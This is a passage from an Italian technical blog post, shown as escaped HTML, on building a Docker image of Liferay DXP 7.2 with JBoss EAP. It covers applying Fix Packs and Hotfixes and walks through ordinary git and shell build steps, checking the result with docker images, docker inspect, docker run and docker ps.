    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:57.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;231\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20231\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20116v115h401V0H0v116m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/30a17beecacf616556fc60ae496b3d0a/c85cb/patching-tool-info.webp 300w,/static/30a17beecacf616556fc60ae496b3d0a/e88ff/patching-tool-info.webp 600w,/static/30a17beecacf616556fc60ae496b3d0a/92f8c/patching-tool-info.webp 1200w,/static/30a17beecacf616556fc60ae496b3d0a/62ed8/patching-tool-info.webp 1800w,/static/30a17beecacf616556fc60ae496b3d0a/6c20f/patching-tool-info.webp 1878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/30a17beecacf616556fc60ae496b3d0a/5a46d/patching-tool-info.png 300w,/static/30a17beecacf616556fc60ae496b3d0a/0a47e/patching-tool-info.png 600w,/static/30a17beecacf616556fc60ae496b3d0a/c1b63/patching-tool-info.png 1200w,/static/30a17beecacf616556fc60ae496b3d0a/d61c2/patching-tool-info.png 1800w,/static/30a17beecacf616556fc60ae496b3d0a/3707e/patching-tool-info.png 1878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 19 - Verifica dell&amp;#x27;avvenuta installazione della Fix Pack utilizzando comando patching-tool.sh info&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/30a17beecacf616556fc60ae496b3d0a/c1b63/patching-tool-info.png&quot; title=&quot;Figura 19 - Verifica dell&amp;#x27;avvenuta installazione della Fix Pack utilizzando comando patching-tool.sh info&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 19 - Verifica dell&amp;#x27;avvenuta installazione della Fix Pack utilizzando comando patching-tool.sh info&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;63-installazione-liferay-hotfix-e-security-fix-pack&quot;&gt;6.3 Installazione Liferay Hotfix e Security Fix Pack&lt;/h3&gt;&lt;p&gt;Allo stesso modo di com&amp;#x27;è possibile installare la Fix Pack di Liferay durante
lo start-up del container, è anche possibile farlo per Hotfix e Security Fix Pack.
Restano quindi valide le indicazioni descritte in 5.3. Installazione Liferay Fix Pack.&lt;/p&gt;&lt;h2 id=&quot;7-uno-scenario-reale&quot;&gt;7. Uno scenario reale&lt;/h2&gt;&lt;p&gt;Tenendo ben in mente quanto descritto ampiamente sul capitolo 5. Come creare
l&amp;#x27;immagine, vedremo quali sono i passi per creare la propria immagine Docker di
Liferay + JBoss EAP, ipotizzando lo scenario a seguire.&lt;/p&gt;&lt;p&gt;Ipotizziamo di voler realizzare un&amp;#x27;immagine Docker di Liferay DXP 7.2 SP 2 con
JBoss EAP 7.2.0 come application server e di voler applicare la Fix Pack Liferay
&lt;strong&gt;dxp-8-7210&lt;/strong&gt; e la &lt;strong&gt;patch 7.2.9 JBoss EAP&lt;/strong&gt;. Per ottenere questo risultato occorre
procedere con gli step mostrati dal diagramma mostrato a seguire.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:731px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e9c14153c79bdf5a5831f67ba5de5d60/6e9ba/mind-map-creazione-docker-image-it.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:112.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;449\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20449\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M85%2082l1%205h10v-9l-6-1h-5v5m0%20242v5c0%203%201%204%206%204h5v-9l-5-1-6%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e9c14153c79bdf5a5831f67ba5de5d60/c85cb/mind-map-creazione-docker-image-it.webp 300w,/static/e9c14153c79bdf5a5831f67ba5de5d60/e88ff/mind-map-creazione-docker-image-it.webp 600w,/static/e9c14153c79bdf5a5831f67ba5de5d60/feeb6/mind-map-creazione-docker-image-it.webp 731w&quot; sizes=&quot;(max-width: 731px) 100vw, 731px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e9c14153c79bdf5a5831f67ba5de5d60/5a46d/mind-map-creazione-docker-image-it.png 300w,/static/e9c14153c79bdf5a5831f67ba5de5d60/0a47e/mind-map-creazione-docker-image-it.png 600w,/static/e9c14153c79bdf5a5831f67ba5de5d60/6e9ba/mind-map-creazione-docker-image-it.png 731w&quot; sizes=&quot;(max-width: 731px) 100vw, 731px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 20 - Step essenziali per la creazione dell&amp;#x27;immagine Docker Liferay DXP + JBoss EAP&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e9c14153c79bdf5a5831f67ba5de5d60/6e9ba/mind-map-creazione-docker-image-it.png&quot; title=&quot;Figura 20 - Step essenziali per la creazione dell&amp;#x27;immagine Docker Liferay DXP + JBoss EAP&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 20 - Step essenziali per la creazione dell&amp;#x27;immagine Docker Liferay DXP + JBoss EAP&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Assumiamo di aver eseguito con successo il primo step ed il secondo step, per i
quali consiglio di rivedere i capitoli 3. Requisiti e 4. Download dipendenze.
Per il resto degli step, eseguire nell&amp;#x27;ordine, da console (Bash) i comandi indicati.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3.1 Installazione dell&amp;#x27;estensione del progetto liferay-docker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Il file zip del progetto https://github.com/smclab/liferay-docker/archive/v1.0.0.zip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ unzip ~/Downloads/liferay-docker-1.0.0.zip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3.2 Inizializzazione del Repository Git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Sostituire la URL del repository Git con la propria&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Assegnare al branch un nome che sia possibilmente esplicativo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker-1.0.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git init&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git add &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git remote add origin https://github.com/smclab/liferay-docker.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git commit -m &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Initial import liferay-docker image builder&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git checkout -b build/liferay-dxp-7.2.10-fp-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3.3 Preparazione della directory che conterrà i bundle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp -a ~/Downloads/bundles &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 4 Esecuzione del processo di build dell&amp;#x27;immagine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - specificare il nome del proprio repository (in questo caso sostituire amusarra)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - la versione del tag dell&amp;#x27;immagine docker deve essere possibilmente esplicativa.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#    in questo caso è liferay-dxp-7.2.10-fp-8 che corrisponde con il nome del branch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-fp-8 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 7 - Step essenziali per la creazione dell&amp;#x27;immagine Docker Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Al termine dello step 4, quindi dell&amp;#x27;esecuzione dello script build_local_image.sh,
utilizzando il comando &lt;code&gt;docker images&lt;/code&gt; è possibile verificare la nuova immagine
appena creata (vedi figura a seguire).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/54be3204e906f949fa0a96df06929c3f/0b569/liferay-dxp-7.2.10-fp-8-docker-images.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:15.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;61\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2061\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2031v30h147a3435%203435%200%2000142-3c1-2%208-2%209%200h-1v1l-1%201h-1c-1%201%2016%201%2052%201h54V0h-51a1020%201020%200%2000-14%201h35l-1%202v3c4%201-6%202-65%202s-66%200-67-2V3c1-1%204-2%2031-2L149%200H0v31m0%200c0%2017%200%2030%201%2029h5l4-1h13c1%201%204%201%205-2h-2c-2-1-12-1-12%201h-1c-1-2-10-2-11%200l-1-2c0-3%202-4%2013-3l4-1h5l4%201c0-2-3-3-14-3-12%200-12%200-12-2s1-2%205-2h8c4%200%206-3%202-3l-2%201H2c-1%201-1%200-1-2%200-3%200-3%205-2l4-1h13c1%201%204%201%205-2%201-1%201-1%201%201l3%202c2%200%203%200%202-2l-1-2v2l-1%201-1-2c-1-2-4-3-4%200h-1c-2-1-12-1-12%201l-1-1H2c-1%201-1%200-1-1%200-3%202-4%2013-3l4-1h5l2%201c2%200%202%200%201-1-1-2-4-2-13-2-12%200-12%200-12-2%200-1%201-2%204-2h12c2%200%202-3-1-3l-2%201h-1c-1-1-3-1-4%201l-1-1H2c-1%201-1%200-1-2%200-3%200-3%205-2l4-1h13c1%201%204%201%205-2H2c-1%201-1%200-1-1%200-3%201-3%204-3l3-1h2c3%202%206%201%206-1l-1-2C11%2010%201%209%201%208h5l6-2c2-3%200-5-7-5H0v30m203-8l1%202h2c1%202%2014%202%2015%200h1l2%201h1l4%201c4%200%204-1%204-3l-1-2-1%202v1l-1-1c0-1-1-2-4-1h-23\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/54be3204e906f949fa0a96df06929c3f/c85cb/liferay-dxp-7.2.10-fp-8-docker-images.webp 300w,/static/54be3204e906f949fa0a96df06929c3f/e88ff/liferay-dxp-7.2.10-fp-8-docker-images.webp 600w,/static/54be3204e906f949fa0a96df06929c3f/92f8c/liferay-dxp-7.2.10-fp-8-docker-images.webp 1200w,/static/54be3204e906f949fa0a96df06929c3f/62ed8/liferay-dxp-7.2.10-fp-8-docker-images.webp 1800w,/static/54be3204e906f949fa0a96df06929c3f/46261/liferay-dxp-7.2.10-fp-8-docker-images.webp 2400w,/static/54be3204e906f949fa0a96df06929c3f/3938d/liferay-dxp-7.2.10-fp-8-docker-images.webp 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/54be3204e906f949fa0a96df06929c3f/5a46d/liferay-dxp-7.2.10-fp-8-docker-images.png 300w,/static/54be3204e906f949fa0a96df06929c3f/0a47e/liferay-dxp-7.2.10-fp-8-docker-images.png 600w,/static/54be3204e906f949fa0a96df06929c3f/c1b63/liferay-dxp-7.2.10-fp-8-docker-images.png 1200w,/static/54be3204e906f949fa0a96df06929c3f/d61c2/liferay-dxp-7.2.10-fp-8-docker-images.png 1800w,/static/54be3204e906f949fa0a96df06929c3f/97a96/liferay-dxp-7.2.10-fp-8-docker-images.png 2400w,/static/54be3204e906f949fa0a96df06929c3f/0b569/liferay-dxp-7.2.10-fp-8-docker-images.png 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 21 - Immagine Docker di Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/54be3204e906f949fa0a96df06929c3f/c1b63/liferay-dxp-7.2.10-fp-8-docker-images.png&quot; title=&quot;Figura 21 - Immagine Docker di Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 21 - Immagine Docker di Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;L&amp;#x27;esecuzione dello step 3.2 è del tutto opzionale ai fini della creazione
dell&amp;#x27;immagine Docker. Il vantaggio d&amp;#x27;inizializzare l&amp;#x27;ambiente di build come
repository Git, risiede nel fatto che una volta accertato il funzionamento
dell&amp;#x27;immagine appena creata, dopo aver eseguito le operazioni di commit e push,
possiamo in qualunque momento eseguire la build della specifica versione
dell&amp;#x27;immagine.&lt;/p&gt;&lt;p&gt;Altro vantaggio nell&amp;#x27;uso di Git per il versioning della creazione delle immagini
è subito evidente utilizzando il comando &lt;code&gt;docker image inspect &amp;lt;imageid&amp;gt;&lt;/code&gt;.
Le label dell&amp;#x27;immagine Docker riportano informazioni circa l&amp;#x27;hash del commit e la
url del repository, così come mostrato dalla figura a seguire.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1147px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/025e23e08e9dfe8f8f75dd185655a205/dc61a/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:48.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;195\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20195\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2097v98h401V0H219A4123%204123%200%200017%200H0v97M241%206c0%203%201%203%204%203%202%200%203%200%203-2h1l1%201h13l1-1c0%201%201%202%204%202l3-1h-1l-1-1%201-1c1-1%200-1-1-1h-2l-3-1-4%201-1%201V5l-1-1-2%201-3%201-2-1c1-1%200-1-2-1l-5%203c-1%201-1%201-1-1l-1-2-1%202M50%2021l-4%201-8-1-8%201%201%201%202%201c1%202%209%202%2010%200h1c1%202%2010%203%2010%200l1%201%201%201h6c2-1%203-4%201-5h-2l-5%201c-2%200-3%201-3%202%200%202-2%200-2-2l-1-1m110%2092l1%201v2c0%203%201%203%202%200%201-2%201-2%201%200s0%202%209%202l11-1h1l8%201c8%200%209-1%209-3l-2-2c-1-1-1%200-1%201v2l-1-1c0-2-1-2-2-1-2%201-6%201-6-1s-2-1-3%201h-1c0-2-2-3-3-1l-2%201h-8c-1%201-2%201-2-1h-11m77%200l1%201v5l1-3c2-2%203-3%203%200%201%200%201%201%200%200l-1%201%204%201c2%200%203-1%203-2h2l2%201h8c6%201%207%201%207-1s-3-3-3-2h-2l-3-1h-6l-8%202h-1v-1l-1-1a668%20668%200%2001-6%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/025e23e08e9dfe8f8f75dd185655a205/c85cb/liferay-dxp-7.2.10-fp-8-docker-image-inspect.webp 300w,/static/025e23e08e9dfe8f8f75dd185655a205/e88ff/liferay-dxp-7.2.10-fp-8-docker-image-inspect.webp 600w,/static/025e23e08e9dfe8f8f75dd185655a205/f8f9f/liferay-dxp-7.2.10-fp-8-docker-image-inspect.webp 1147w&quot; sizes=&quot;(max-width: 1147px) 100vw, 1147px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/025e23e08e9dfe8f8f75dd185655a205/5a46d/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png 300w,/static/025e23e08e9dfe8f8f75dd185655a205/0a47e/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png 600w,/static/025e23e08e9dfe8f8f75dd185655a205/dc61a/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png 1147w&quot; sizes=&quot;(max-width: 1147px) 100vw, 1147px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 22 - Parte di output del comando docker image inspect con in evidenza i riferimenti a Git (o VCS)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/025e23e08e9dfe8f8f75dd185655a205/dc61a/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png&quot; title=&quot;Figura 22 - Parte di output del comando docker image inspect con in evidenza i riferimenti a Git (o VCS)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 22 - Parte di output del comando docker image inspect con in evidenza i riferimenti a Git (o VCS)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 Clone del repository liferay-docker e checkout del branch di versione&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Sostituire la URL del repository Git con la propria&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone -b build/liferay-dxp-7.2.10-fp-8 https://github.com/smclab/liferay-docker.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 Esecuzione del processo di build dell&amp;#x27;immagine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-fp-8 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 8 - Creazione di una specifica versione dell&amp;#x27;immagine Docker di Liferay partendo dal repository Git&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Al fine di eseguire una verifica dell&amp;#x27;immagine appena creata, è sufficiente
lanciare il comando &lt;code&gt;docker run -it {&amp;lt;imageid&amp;gt;|&amp;lt;image name&amp;gt;}&lt;/code&gt;. Dai log mostrati in
console siamo in grado di verificare se l&amp;#x27;istanza Liferay non dovesse salire correttamente.&lt;/p&gt;&lt;p&gt;Utilizzando il comando &lt;code&gt;docker ps&lt;/code&gt;, e guardando la colonna &lt;strong&gt;status&lt;/strong&gt; dovremmo vedere
inizialmente il valore &lt;strong&gt;health: starting&lt;/strong&gt; che dovrebbe diventare &lt;strong&gt;healthy&lt;/strong&gt; quando il
servizio Liferay è su, così come mostrato dalle due figure a seguire.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/72c7c78004f50eca52b2a699f6e6822f/b88bf/docker-ps-check-status-container-health-starting.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:10%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;39\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2039\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2020v19h14l9-1c-4%200-5%200-4-2%200-1%200-2-2-2-3%200-4%203-1%203%201%201-2%201-7%201H1v-3l1-2%2010-1%2011-1h-1l-2-1c0-2%203-2%206-1l-1%202v1l1-1%201-1%201%201c-1%201%204%201%2012%201%209%200%2013%200%2012-1v-1l1-1-3%201c-1%202-3%200-2-2l1%201h1c0-2%206-1%206%200l-1%202v1l2-1h1l15%201c13%200%2014%200%2014-2l2-2v3c-1%201%201%201%209%201%207%200%2010%200%209-1h-2l-2-1h-1l-1%201-2-2%201-1h3c1-1%201-1%201%201h1c0-2%209-1%209%201l-1%201h-3c-1%201%202%201%208%201l10-1h1l69%201c61%200%2070%200%2071%202%201%201%201%201-1%203-1%202-1%202%202%202s3%200%203-3%200-4%202-4l1%204v3h125V0h-67c-67%200-67%200-66%202%202%202%202%202%201%203-1%202-10%202-71%202h-70l1-2-1-3v1c1%204%200%204-64%204H2L1%204V1h78l79-1H0v20m0%200l1%2015%201-4h4l4-1h1l1%201c3-2%201-4-3-4l-8-1c0-1%201-2%202-1l1-1c0-2%201-2%203-1%202%202%2021%202%2021%200s-1-2-4-2l-4%201h-1c-1-1-11-1-11%201l-1-1-2-1c-3%202-4%201-4-4v-6l5%201c3%200%204%200%204-2h1c1%202%201%202%201%200%201-2%201-2-5-2L1%209V5L0%2020\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/72c7c78004f50eca52b2a699f6e6822f/c85cb/docker-ps-check-status-container-health-starting.webp 300w,/static/72c7c78004f50eca52b2a699f6e6822f/e88ff/docker-ps-check-status-container-health-starting.webp 600w,/static/72c7c78004f50eca52b2a699f6e6822f/92f8c/docker-ps-check-status-container-health-starting.webp 1200w,/static/72c7c78004f50eca52b2a699f6e6822f/53a04/docker-ps-check-status-container-health-starting.webp 1702w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/72c7c78004f50eca52b2a699f6e6822f/5a46d/docker-ps-check-status-container-health-starting.png 300w,/static/72c7c78004f50eca52b2a699f6e6822f/0a47e/docker-ps-check-status-container-health-starting.png 600w,/static/72c7c78004f50eca52b2a699f6e6822f/c1b63/docker-ps-check-status-container-health-starting.png 1200w,/static/72c7c78004f50eca52b2a699f6e6822f/b88bf/docker-ps-check-status-container-health-starting.png 1702w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 23 - Verifica del servizio Liferay dopo la creazione del container. Servizio in fase di starting&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/72c7c78004f50eca52b2a699f6e6822f/c1b63/docker-ps-check-status-container-health-starting.png&quot; title=&quot;Figura 23 - Verifica del servizio Liferay dopo la creazione del container. Servizio in fase di starting&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
